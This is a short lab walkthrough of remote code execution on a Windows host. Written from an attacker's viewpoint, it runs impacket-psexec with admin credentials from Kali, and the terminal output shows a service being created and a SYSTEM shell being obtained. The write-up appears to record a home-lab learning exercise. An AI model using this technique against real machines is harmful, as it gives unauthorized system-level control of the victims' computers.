

Scenario 2: Remote Code Execution using PsExec.

Aim: You're an attacker on Kali Linux or another Windows system. You want to remotely execute commands on a victim **Windows machine** using **Psexec** (a Windows Sysinternals tool).

1. Download & Extract PsExec
 - a. <https://learn.microsoft.com/en-us/sysinternals/downloads/psexec>
 - b. cd C:\Tools\PsTools on this location
2. Test Target Accessibility
 - a. ping 192.168.*.*
3. Try Remote Execution
 - a. impacket-psexec windows:Password123@192.168.*.*

```
(root@kali)-[/home/sirius/Desktop]
# impacket-psexec windows:Password123@192.168.1.16

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on 192.168.1.16.....
[*] Found writable share ADMIN$
[*] Uploading file FCPaIBjn.exe
[*] Opening SVCManager on 192.168.1.16.....
[*] Creating service gVGv on 192.168.1.16.....
[*] Starting service gVGv.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.5854]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami

'whoami' is not recognized as an internal or external command,
operable program or batch file.
C:\Windows\system32> whoami
nt authority\system
```

4. I got a shell on my windows from kali linux